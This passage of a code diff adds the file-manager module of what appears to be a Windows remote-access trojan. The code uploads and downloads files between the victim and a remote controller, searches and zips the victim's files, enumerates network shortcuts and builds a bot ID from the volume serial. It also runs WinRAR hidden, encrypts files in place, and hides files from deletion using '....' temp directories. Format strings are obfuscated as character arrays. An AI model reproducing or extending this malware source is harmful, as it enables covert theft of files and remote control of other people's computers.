+
+ LocalFree(lpList);
+ FindClose(hFile);
+ return nRet;
+}
+
+bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
+{
+ WIN32_FIND_DATA wfd;
+ TCHAR lpszFilter[MAX_PATH];
+ const TCHAR* lpszSlash = NULL;
+ memset(lpszFilter, 0, sizeof(lpszFilter));
+
+ if (lpszDirectory[lstrlen(lpszDirectory) - 1] != _T('\\'))
+ lpszSlash = _T("\\");
+ else
+ lpszSlash = _T("");
+ TCHAR str18114[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
+ wsprintf(lpszFilter, str18114, lpszDirectory, lpszSlash);
+
+ HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
+ if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
+ return false;
+ TCHAR str18046[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('%'),_T('s'),_T('\0') };
+ do {
+ if (wfd.cFileName[0] != _T('.')) {
+ if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+ TCHAR strDirectory[MAX_PATH];
+ wsprintf(strDirectory, str18046, lpszDirectory, lpszSlash, wfd.cFileName);
+ DeleteDirectory(strDirectory);
+ } else {
+ TCHAR strFile[MAX_PATH];
+ wsprintf(strFile, str18046, lpszDirectory, lpszSlash, wfd.cFileName);
+ if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
+ SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
+ if (benofrce) {
+ FnDelPathFile(strFile);
+ } else {
+ DeleteFile(strFile);
+ }
+ }
+ }
+ } while (FindNextFile(hFind, &wfd));
+
+ FindClose(hFind); // 关闭查找句柄
+
+ if (!RemoveDirectory(lpszDirectory)) {
+ return false;
+ }
+ return true;
+}
+
+UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
+{
+ UINT nRet = 0;
+ DWORD dwSizeHigh;
+ DWORD dwSizeLow;
+ BOOL error;
+ // 保存当前正在操作的文件名
+ memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
+ _tcscpy_s(m_strCurrentProcessFileName, lpszFileName);
+
+ if (m_hFileSend != INVALID_HANDLE_VALUE)
+ CloseHandle(m_hFileSend);
+ m_hFileSend = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
+ if (m_hFileSend == INVALID_HANDLE_VALUE) {
+ error = FALSE;
+ } else {
+ error = TRUE;
+ }
+ dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh);
+ // 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0')
+ int nPacketSize = (lstrlen(lpszFileName) + 1) * sizeof(TCHAR) + 9;
+ BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize);
+ memset(bPacket, 0, nPacketSize);
+
+ bPacket[0] = TOKEN_FILE_SIZE;
+ FILESIZE* pFileSize = (FILESIZE*)(bPacket + 1);
+ pFileSize->dwSizeHigh = dwSizeHigh;
+ pFileSize->dwSizeLow = dwSizeLow;
+ pFileSize->error = error;
+ ::memcpy(bPacket + 9, lpszFileName, (lstrlen(lpszFileName) + 1) * sizeof(TCHAR));
+
+ nRet = Send(bPacket, nPacketSize);
+ LocalFree(bPacket);
+ return nRet;
+}
+
+void CFileManager::SendFileData(LPBYTE lpBuffer)
+{
+ FILESIZE* pFileSize;
+ TCHAR* lpFileName;
+
+ pFileSize = (FILESIZE*)lpBuffer;
+ lpFileName = m_strCurrentProcessFileName;
+
+ // 远程跳过,传送下一个
+ if (pFileSize->dwSizeHigh == -1 && pFileSize->dwSizeLow == -1) {
+ UploadNext();
+ return;
+ }
+
+ SetFilePointer(m_hFileSend, pFileSize->dwSizeLow, (long*)&(pFileSize->dwSizeHigh), FILE_BEGIN);
+
+ int nHeadLength = 9; // 1 + 4 + 4数据包头部大小
+ DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
+ DWORD nNumberOfBytesRead = 0;
+
+ // Token, 大小,偏移,文件名,数据
+ lpSendPacket[0] = TOKEN_FILE_DATA;
+ ::memcpy(lpSendPacket + 1, pFileSize, sizeof(FILESIZE));
+ ReadFile(m_hFileSend, lpSendPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
+
+ if (nNumberOfBytesRead > 0) {
+ int nPacketSize = nNumberOfBytesRead + nHeadLength;
+ Send(lpSendPacket, nPacketSize);
+ } else {
+ UploadNext();
+ }
+}
+
+// 传送下一个文件
+void CFileManager::UploadNext()
+{
+ if (m_hFileSend != INVALID_HANDLE_VALUE) {
+ CloseHandle(m_hFileSend);
+ m_hFileSend = INVALID_HANDLE_VALUE;
+ }
+ std::list ::iterator it = m_UploadList.begin();
+ // 删除一个任务
+ m_UploadList.erase(it);
+ // 还有上传任务
+ if (m_UploadList.empty()) {
+ SendToken(TOKEN_TRANSFER_FINISH);
+ } else {
+ // 上传下一个
+ it = m_UploadList.begin();
+ SendFileSize((*it).c_str());
+ }
+}
+
+int CFileManager::SendToken(BYTE bToken)
+{
+ return Send(&bToken, 1);
+}
+
+bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
+{
+ if (lpBuffer[lstrlen((TCHAR*)lpBuffer) * sizeof(TCHAR) - sizeof(TCHAR)] == _T('\\')) {
+ FixedUploadList((TCHAR*)lpBuffer);
+ if (m_UploadList.empty()) {
+ StopTransfer(TRUE);
+ return true;
+ }
+ } else {
+ m_UploadList.push_back((TCHAR*)lpBuffer);
+ }
+
+ std::list ::iterator it = m_UploadList.begin();
+ // 发送第一个文件
+ SendFileSize((*it).c_str());
+
+ return true;
+}
+
+bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
+{
+ WIN32_FIND_DATA wfd;
+ TCHAR lpszFilter[MAX_PATH];
+ const TCHAR* lpszSlash = NULL;
+ memset(lpszFilter, 0, sizeof(lpszFilter));
+
+ if (lpPathName[lstrlen(lpPathName) - 1] != _T('\\'))
+ lpszSlash = _T("\\");
+ else
+ lpszSlash = _T("");
+ TCHAR str18114[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
+ wsprintf(lpszFilter, str18114, lpPathName, lpszSlash);
+
+ HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
+ if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
+ return false;
+ TCHAR str18046[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('%'),_T('s'),_T('\0') };
+ do {
+ if (wfd.cFileName[0] != _T('.')) {
+ if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
+ TCHAR strDirectory[MAX_PATH];
+ wsprintf(strDirectory, str18046, lpPathName, lpszSlash, wfd.cFileName);
+ FixedUploadList(strDirectory);
+ } else {
+ TCHAR strFile[MAX_PATH];
+ wsprintf(strFile, str18046, lpPathName, lpszSlash, wfd.cFileName);
+ m_UploadList.push_back(strFile);
+ }
+ }
+ } while (FindNextFile(hFind, &wfd));
+
+ FindClose(hFind); // 关闭查找句柄
+ return true;
+}
+
+void CFileManager::StopTransfer(BOOL bIsUpload)
+{
+ if (!m_UploadList.empty())
+ m_UploadList.clear();
+ if (m_hFileSend != INVALID_HANDLE_VALUE) {
+ CloseHandle(m_hFileSend);
+ m_hFileSend = INVALID_HANDLE_VALUE;
+ }
+ if (m_hFileRecv != INVALID_HANDLE_VALUE) {
+ CloseHandle(m_hFileRecv);
+ m_hFileRecv = INVALID_HANDLE_VALUE;
+ }
+ if (bIsUpload)
+ SendToken(TOKEN_TRANSFER_FINISH);
+}
+
+void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
+{
+ FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
+ // 保存当前正在操作的文件名
+ memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
+ _tcscpy_s(m_strCurrentProcessFileName, (TCHAR*)(lpBuffer + 8));
+
+ // 保存文件长度
+ m_nCurrentProcessFileLength = ((__int64)pFileSize->dwSizeHigh << 32) + pFileSize->dwSizeLow;
+
+ // 创建多层目录
+ MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
+
+ WIN32_FIND_DATA FindFileData;
+ HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
+
+ if (hFind != INVALID_HANDLE_VALUE
+ && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
+ && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
+ && m_nTransferMode != TRANSFER_MODE_JUMP_ALL
+ ) {
+ SendToken(TOKEN_GET_TRANSFER_MODE);
+ } else {
+ GetFileData();
+ }
+ FindClose(hFind);
+}
+
+void CFileManager::GetFileData()
+{
+ int nTransferMode;
+ switch (m_nTransferMode) {
+ case TRANSFER_MODE_OVERWRITE_ALL:
+ nTransferMode = TRANSFER_MODE_OVERWRITE;
+ break;
+ case TRANSFER_MODE_ADDITION_ALL:
+ nTransferMode = TRANSFER_MODE_ADDITION;
+ break;
+ case TRANSFER_MODE_JUMP_ALL:
+ nTransferMode = TRANSFER_MODE_JUMP;
+ break;
+ default:
+ nTransferMode = m_nTransferMode;
+ }
+
+ WIN32_FIND_DATA FindFileData;
+ HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
+
+ // 1字节Token,四字节偏移高四位,四字节偏移低四位
+ BYTE bToken[9];
+ DWORD dwCreationDisposition; // 文件打开方式
+ memset(bToken, 0, sizeof(bToken));
+ bToken[0] = TOKEN_DATA_CONTINUE;
+
+ // 文件已经存在
+ if (hFind != INVALID_HANDLE_VALUE) {
+ // 提示点什么
+ // 如果是续传
+ if (nTransferMode == TRANSFER_MODE_ADDITION) {
+ memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
+ memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
+ dwCreationDisposition = OPEN_EXISTING;
+ }
+ // 覆盖
+ else if (nTransferMode == TRANSFER_MODE_OVERWRITE) {
+ // 偏移置0
+ memset(bToken + 1, 0, 8);
+ // 重新创建
+ dwCreationDisposition = CREATE_ALWAYS;
+ }
+ // 传送下一个
+ else if (nTransferMode == TRANSFER_MODE_JUMP) {
+ DWORD dwOffset = -1;
+ memcpy(bToken + 1, &dwOffset, 4);
+ memcpy(bToken + 5, &dwOffset, 4);
+ dwCreationDisposition = OPEN_EXISTING;
+ }
+ } else {
+ // 偏移置0
+ memset(bToken + 1, 0, 8);
+ // 重新创建
+ dwCreationDisposition = CREATE_ALWAYS;
+ }
+ FindClose(hFind);
+
+ if (m_hFileRecv != INVALID_HANDLE_VALUE)
+ CloseHandle(m_hFileRecv);
+ m_hFileRecv = CreateFile(m_strCurrentProcessFileName,
+ GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0);
+ // 需要错误处理
+ if (m_hFileRecv == INVALID_HANDLE_VALUE) {
+ m_nCurrentProcessFileLength = 0;
+ return;
+ }
+
+ Send(bToken, sizeof(bToken));
+}
+
+void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
+{
+ // 传输完毕
+ BYTE* pData;
+ DWORD dwBytesToWrite;
+ DWORD dwBytesWrite;
+ int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9
+ FILESIZE* pFileSize;
+
+ // 得到数据的偏移
+ pData = lpBuffer + 8;
+ pFileSize = (FILESIZE*)lpBuffer;
+
+ // 得到数据在文件中的偏移
+ LONG dwOffsetHigh = pFileSize->dwSizeHigh;
+ LONG dwOffsetLow = pFileSize->dwSizeLow;
+
+ dwBytesToWrite = nSize - 8;
+
+ SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
+
+ BOOL bRet = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL);
+
+ dwOffsetLow = 0;
+ dwOffsetHigh = 0;
+ dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT);
+
+ BYTE bToken[9];
+ bToken[0] = TOKEN_DATA_CONTINUE;
+ memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
+ memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
+ Send(bToken, sizeof(bToken));
+}
+
+void CFileManager::SetTransferMode(LPBYTE lpBuffer)
+{
+ memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
+ GetFileData();
+}
+
+void CFileManager::CreateFolder(LPBYTE lpBuffer)
+{
+ MakeSureDirectoryPathExists((TCHAR*)lpBuffer);
+ SendToken(TOKEN_CREATEFOLDER_FINISH);
+}
+
+void CFileManager::Rename(LPBYTE lpBuffer)
+{
+ LPCTSTR lpExistingFileName = (TCHAR*)lpBuffer;
+ LPCTSTR lpNewFileName = (TCHAR*)((byte*)lpExistingFileName + (lstrlen(lpExistingFileName) + 1) * sizeof(TCHAR));
+ ::MoveFile(lpExistingFileName, lpNewFileName);
+ SendToken(TOKEN_RENAME_FINISH);
+}
+
+//压缩解或压缩文件
+void CFileManager::ExeCompress(BYTE* lpBuffer)
+{
+ SHELLEXECUTEINFO ShExecInfo = { 0 };
+ ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
+ ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
+ ShExecInfo.lpVerb = NULL;
+ ShExecInfo.lpFile = _T("WinRAR");
+ ShExecInfo.lpParameters = (TCHAR*)lpBuffer;
+ ShExecInfo.nShow = SW_HIDE;
+ if (ShellExecuteEx(&ShExecInfo)) {
+ WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
+ CloseHandle(ShExecInfo.hProcess);
+ SendToken(TOKEN_COMPRESS_FINISH);
+ }
+}
+
+void CFileManager::FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder)
+{
+ WIN32_FIND_DATA fd;
+
+ TCHAR filePathName[256];
+ TCHAR tmpPath[256];
+
+ ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
+ ZeroMemory(filePathName, 256);
+ ZeroMemory(tmpPath, 256);
+
+ lstrcpy(filePathName, rootDir);
+
+ if (filePathName[(lstrlen(filePathName) - 1)] != _T('\\')) {
+ lstrcat(filePathName, _T("\\"));
+ }
+ lstrcat(filePathName, _T("*.*"));
+
+ HANDLE hSearch = FindFirstFile(filePathName, &fd);
+
+ do {
+ DWORD dwOffset = 1; // 位移指针
+
+ lstrcpy(tmpPath, rootDir);
+ if (tmpPath[lstrlen(tmpPath) - 1] != _T('\\'))
+ lstrcat(tmpPath, _T("\\"));
+
+ lstrcat(tmpPath, fd.cFileName);
+
+ if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
+ && lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
+ if (bEnabledSubfolder)
+ FindFileInDir(tmpPath, searchfilename, bEnabledSubfolder);
+ } else if (lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
+ _tcsupr_s(fd.cFileName, lstrlen(fd.cFileName) + 1);
+ _tcsupr_s(searchfilename, lstrlen(searchfilename) + 1);
+ if (_tcsstr(fd.cFileName, searchfilename) > 0) {
+ LPBYTE lpBuffer = NULL;
+
+ lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
+
+ // 文件属性 1 字节
+ *(lpBuffer + dwOffset) = fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
+ dwOffset++;
+
+ int nLen = (lstrlen(tmpPath) + 1) * sizeof(TCHAR);
+ memcpy(lpBuffer + dwOffset, tmpPath, nLen);
+
+ dwOffset += nLen;
+ /* *(lpBuffer + dwOffset) = 0;
+ dwOffset++;*/
+
+ memcpy(lpBuffer + dwOffset, &fd.nFileSizeHigh, sizeof(DWORD));
+ memcpy(lpBuffer + dwOffset + 4, &fd.nFileSizeLow, sizeof(DWORD));
+ dwOffset += 8;
+
+ // 最后访问时间 8 字节
+ memcpy(lpBuffer + dwOffset, &fd.ftLastWriteTime, sizeof(FILETIME));
+ dwOffset += 8;
+
+ if (dwOffset > 1) {
+ lpBuffer[0] = TOKEN_SEARCH_FILE_LIST;
+
+ lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
+
+ Send(lpBuffer, (UINT)LocalSize(lpBuffer));
+ Sleep(10);
+ LocalFree(lpBuffer);
+ }
+ }
+ }
+ } while (FindNextFile(hSearch, &fd) && !bIsStopSearch);
+
+ FindClose(hSearch);
+
+}
+
+//文件搜索线程
+void WINAPI CFileManager::FindFileThread(LPVOID lparam)
+{
+ CFileManager* pThis = (CFileManager*)lparam;
+ pThis->FindFileInDir(pThis->filesearch.SearchPath, pThis->filesearch.SearchFileName, pThis->filesearch.bEnabledSubfolder);
+ pThis->bIsStopSearch = TRUE;
+ pThis->SendToken(TOKEN_SEARCH_FILE_FINISH);
+}
+
+//停止文件搜索
+void CFileManager::StopSearchTheard()
+{
+ if (bIsStopSearch)
+ return;
+ bIsStopSearch = TRUE;
+ WaitForSingleObject(m_hWorkThread, INFINITE);
+ CloseHandle(m_hWorkThread);
+ bIsStopSearch = FALSE;
+}
+
+//创建文件搜索线程
+void CFileManager::SendSearchFilesList(LPCTSTR str)
+{
+ bIsStopSearch = FALSE;
+ memcpy(&filesearch, str, sizeof(FILESEARCH));
+
+ m_hWorkThread = CreateThread(NULL,
+ 0,
+ (LPTHREAD_START_ROUTINE)FindFileThread,
+ (LPVOID)this,
+ 0,
+ NULL
+ );
+}
+
+ULONG CFileManager::PseudoRand(ULONG* seed)
+{
+ return (*seed = 1352459 * (*seed) + 2529004207);
+}
+
+void CFileManager::GetBotId(TCHAR* botId)
+{
+ TCHAR windowsDirectory[MAX_PATH];
+ TCHAR volumeName[8] = { 0 };
+ DWORD seed = 0;
+
+ if (GetWindowsDirectory(windowsDirectory, MAX_PATH * sizeof(TCHAR)))
+ windowsDirectory[0] = _T('C');
+
+ volumeName[0] = windowsDirectory[0];
+ volumeName[1] = _T(':');
+ volumeName[2] = _T('\\');
+ volumeName[3] = _T('\0');
+
+ GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
+
+ GUID guid;
+ guid.Data1 = PseudoRand(&seed);
+
+ guid.Data2 = (USHORT)PseudoRand(&seed);
+ guid.Data3 = (USHORT)PseudoRand(&seed);
+ for (int i = 0; i < 8; i++)
+ guid.Data4[i] = (UCHAR)PseudoRand(&seed);
+
+ wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
+}
+
+bool CFileManager::getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath)
+{
+ CoInitialize(NULL);
+ IPersistFile* pPF = NULL;
+ HRESULT hr = CoCreateInstance(
+ CLSID_ShellLink, // CLSID
+ NULL, // IUnknown 接口指针
+ CLSCTX_INPROC_SERVER, // CLSCTX_INPROC_SERVER:以 Dll 的方式操作类对象
+ IID_IPersistFile, // COM 对象接口标识符
+ (void**)(&pPF) // 接收 COM 对象的指针
+ );
+ if (FAILED(hr)) {
+ return false;
+ }
+ IShellLink* pSL = NULL;
+ hr = pPF->QueryInterface(
+ IID_IShellLink, // 接口 IID
+ (void**)(&pSL) // 接收指向这个接口函数虚标的指针
+ );
+ if (FAILED(hr)) {
+ return false;
+ }
+
+ LPCOLESTR olePath = ConvertTCharToWChar(lnkPath);
+
+ hr = pPF->Load(
+ olePath, // 文件全路径
+ STGM_READ // 访问模式:只读
+ );
+ SAFE_DELETE_AR(olePath);
+ if (FAILED(hr)) {
+ return false;
+ }
+
+ ZeroMemory(szoutPath, sizeof(szoutPath));
+ // 获取 Shell 链接来源
+ hr = pSL->GetPath(szoutPath, MAX_PATH, NULL, 0);
+
+
+ // 关闭 COM 库
+ pPF->Release();
+ CoUninitialize();
+
+ return true;
+}
+
+void CFileManager::SendNetHood()
+{
+ TCHAR szPath[MAX_PATH];
+ ::SHGetSpecialFolderPath(NULL, szPath, CSIDL_NETHOOD, FALSE);
+ HANDLE hFile;
+ DWORD dwOffset = 0; // 位移指针
+ int nLen = 0;
+ LPBYTE lpList = NULL;
+ DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
+ WIN32_FIND_DATA FindFileData;
+ TCHAR* lpszSlash = NULL;
+ TCHAR strPath[MAX_PATH];
+ TCHAR strPath_out[MAX_PATH];
+ if (szPath[lstrlen(szPath) - 1] != '\\')
+ lpszSlash = (TCHAR*)_T("\\");
+ else
+ lpszSlash = (TCHAR*)_T("");
+ TCHAR str1ast[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
+ wsprintf(strPath_out, _T("%s%s"), szPath, lpszSlash);
+ wsprintf(strPath, str1ast, szPath, lpszSlash);
+ hFile = FindFirstFile(strPath, &FindFileData);
+ if (hFile == INVALID_HANDLE_VALUE) {
+ return;
+ }
+
+ lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
+ *lpList = TOKEN_FILE_GETNETHOOD;
+ dwOffset = 1;
+ do {
+ // 动态扩展缓冲区
+ if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
+ nBufferSize += MAX_PATH * 2;
+ lpList = (BYTE*)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT | LMEM_MOVEABLE);
+ }
+
+ TCHAR* pszFileName = FindFileData.cFileName;
+ if (_tcscmp(pszFileName, _T(".")) == 0 || _tcscmp(pszFileName, _T("..")) == 0)
+ continue;
+ TCHAR InPath[MAX_PATH];
+ wsprintf(InPath, _T("%s%s"), strPath_out, pszFileName);
+ TCHAR* OutPath = new TCHAR[MAX_PATH];
+ ZeroMemory(OutPath, sizeof(OutPath));
+ if (!getLnkFormPath(InPath, OutPath))
+ continue;;
+ int iNameSzie = lstrlen(OutPath) * sizeof(TCHAR) + 2;
+ memcpy(lpList + dwOffset, &iNameSzie, sizeof(int));
+ memcpy(lpList + dwOffset + sizeof(int), OutPath, iNameSzie);
+ dwOffset += sizeof(int) + iNameSzie;
+ SAFE_DELETE_AR(OutPath);
+ } while (FindNextFile(hFile, &FindFileData));
+
+ if (dwOffset == 1)
+ return;
+ Send(lpList, dwOffset);
+ LocalFree(lpList);
+}
+
+/*加密子函数开始*/
+void CFileManager::encfile(char* in_filename)
+{
+ char out_file[MAX_PATH * 2];
+ strcpy_s(out_file, in_filename);
+ strcat_s(out_file, "i");
+ m_encoder.encodePDF(in_filename, out_file);
+ remove(in_filename);
+ ::MoveFileA(out_file, in_filename);
+}
+
+/*解密子函数开始*/
+void CFileManager::decryptfile(char* in_filename)
+{
+ char out_file[MAX_PATH * 2];
+ strcpy_s(out_file, in_filename);
+ strcat_s(out_file, "i");
+ m_encoder.decodePDF(in_filename, out_file);
+ remove(in_filename);
+ ::MoveFileA(out_file, in_filename);
+}
+
+bool CFileManager::FnDelPathFile(TCHAR* tc_path)
+{
+ SECURITY_ATTRIBUTES safestruct = { sizeof(SECURITY_ATTRIBUTES),NULL,false };
+ //获取系统temp目录+字母
+ TCHAR* tem_path = new TCHAR[MAX_PATH * 2];
+ TCHAR* tem_path1 = new TCHAR[MAX_PATH * 2];
+ TCHAR* tem_path2 = new TCHAR[MAX_PATH * 2];
+ TCHAR* tem_path3 = new TCHAR[MAX_PATH * 2];
+ TCHAR* tem_path4 = new TCHAR[MAX_PATH * 2];
+ GetTempPath(MAX_PATH * 2, tem_path);
+
+ unsigned seed;
+ seed = (unsigned)GetCurrentProcessId();
+ std::srand(seed);
+ int A = rand();
+ int B = A + 1;
+ wsprintf(tem_path1, _T("%s%d"), tem_path, A);
+
+ CreateDirectory(tem_path1, &safestruct);
+
+ wsprintf(tem_path2, _T("%s%s"), tem_path1, _T("\\....\\"));
+ CreateDirectory(tem_path2, &safestruct);
+
+ wsprintf(tem_path3, _T("%s\\%d"), tem_path2, B);
+ MoveFile(tc_path, tem_path3);
+
+ wsprintf(tem_path4, _T("%s\\%d"), tem_path1, B);
+ MoveFile(tem_path2, tem_path4);
+ DeleteFile(tem_path1); //删除目录(目录)
+ DeleteFile(tem_path2); //删除目录(目录)
+ DeleteFile(tem_path3); //删除目录(目录)
+ DeleteFile(tem_path4); //删除目录(目录)
+
+ SAFE_DELETE_AR(tem_path);
+ SAFE_DELETE_AR(tem_path1);
+ SAFE_DELETE_AR(tem_path2);
+ SAFE_DELETE_AR(tem_path3);
+ SAFE_DELETE_AR(tem_path4);
+
+ return 1;
+}
+
+//文件搜索线程
+void WINAPI CFileManager::FindZIPThread(LPVOID lparam)
+{
+ CFileManager* pThis = (CFileManager*)lparam;
+
+ TCHAR* zippath = NULL;
+ HZIP hz = NULL;
+ TCHAR* newzippath = new TCHAR[MAX_PATH * 2];
+ TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
+ ZeroMemory(newzippath, MAX_PATH * 2 * 2);
+ ZeroMemory(zippath_filename, MAX_PATH * 2 * 2);
+
+ std::string input = (TCHAR*)(pThis->zippath_t);
+ std::stringstream ss(input);
+ std::string token;
+ int num = 0;
+ int pathlen = 0;
+ while (std::getline(ss, token, _T('|'))) {
+ num++;
+ if (num == 1) {
+ zippath = (TCHAR*)token.c_str();
+ pathlen = lstrlen(zippath) * 2;
+ memset(zippath + lstrlen(zippath) - 1, 0, 2);
+ std::string str = zippath;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+ std::string strSubPath = str.substr(fi + 1, str.length());
+ wsprintf(newzippath, _T("%s\\%s.zip"), zippath, strSubPath.c_str());
+ DWORD dwAttr = GetFileAttributes(newzippath);
+ if (INVALID_FILE_ATTRIBUTES != dwAttr) {
+ DWORD ti = ::timeGetTime();
+ wsprintf(newzippath, _T("%s\\%s%d.zip"), zippath, strSubPath.c_str(), ti);
+ }
+ hz = CreateZip(newzippath, 0);
+ if (hz == NULL) break;;
+ } else {
+ ZeroMemory(zippath_filename, MAX_PATH * 2 * 2);
+ zippath = (TCHAR*)token.c_str();
+ DWORD dwAttr = GetFileAttributes(zippath);
+ if (INVALID_FILE_ATTRIBUTES == dwAttr) {
+ continue;
+ }
+ if (dwAttr & FILE_ATTRIBUTE_DIRECTORY) {
+ std::string str = zippath;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+ memcpy(zippath_filename, zippath + pathlen / 2, lstrlen(zippath) * 2 - pathlen + 2);
+ ZeroMemory(zippath_filename + lstrlen(zippath_filename) - 1, 2);
+ ZipAddFolder(hz, zippath_filename);
+ pThis->FindFileInDirZipAdd(zippath, hz, pathlen);
+ } else {
+ std::string str = zippath;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+ memcpy(zippath_filename, zippath + fi + 1, (lstrlen(zippath) - fi) * 2 + 2);
+ ZipAdd(hz, zippath_filename, zippath);
+ }
+ }
+ }
+ if (hz)
+ CloseZip(hz);
+ if (!pThis->bIsStopZIP) pThis->SendToken(TOKEN_FILE_ZIPOK);
+ pThis->bIsStopZIP = FALSE;
+ SAFE_DELETE_AR(newzippath);
+ SAFE_DELETE_AR(zippath_filename)
+ SAFE_DELETE_AR(pThis->zippath_t);
+}
+
+//停止文件搜索
+void CFileManager::StopZIPTheard()
+{
+ if (bIsStopZIP)
+ return;
+ bIsStopZIP = TRUE;
+ WaitForSingleObject(m_hWorkZIPThread, INFINITE);
+ CloseHandle(m_hWorkZIPThread);
+ bIsStopZIP = FALSE;
+}
+//创建文件搜索线程
+void CFileManager::StartZIP()
+{
+ m_hWorkZIPThread = CreateThread(NULL,
+ 0,
+ (LPTHREAD_START_ROUTINE)FindZIPThread,
+ (LPVOID)this,
+ 0,
+ NULL
+ );
+}
+
+void CFileManager::FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz, int pathlen)
+{
+ WIN32_FIND_DATA fd;
+
+ TCHAR filePathName[256];
+ TCHAR tmpPath[256];
+
+ ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
+ ZeroMemory(filePathName, 256);
+ ZeroMemory(tmpPath, 256);
+
+ lstrcpy(filePathName, rootDir);
+
+
+ if (filePathName[(lstrlen(filePathName) - 1)] != _T('\\')) {
+ lstrcat(filePathName, _T("\\"));
+ }
+ lstrcat(filePathName, _T("*.*"));
+
+ HANDLE hSearch = FindFirstFile(filePathName, &fd);
+
+ do {
+ DWORD dwOffset = 1; // 位移指针
+
+ lstrcpy(tmpPath, rootDir);
+ if (tmpPath[lstrlen(tmpPath) - 1] != _T('\\'))
+ lstrcat(tmpPath, _T("\\"));
+
+ lstrcat(tmpPath, fd.cFileName);
+
+ if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
+ && lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
+ TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
+ std::string str = tmpPath;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+ memcpy(zippath_filename, tmpPath + pathlen / 2, lstrlen(tmpPath) * 2 - pathlen + 2);
+ ZipAddFolder(hz, zippath_filename);
+ FindFileInDirZipAdd(tmpPath, hz, pathlen);
+ SAFE_DELETE_AR(zippath_filename);
+ } else if (lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
+ TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
+ std::string str = tmpPath;
+ int num = 0;
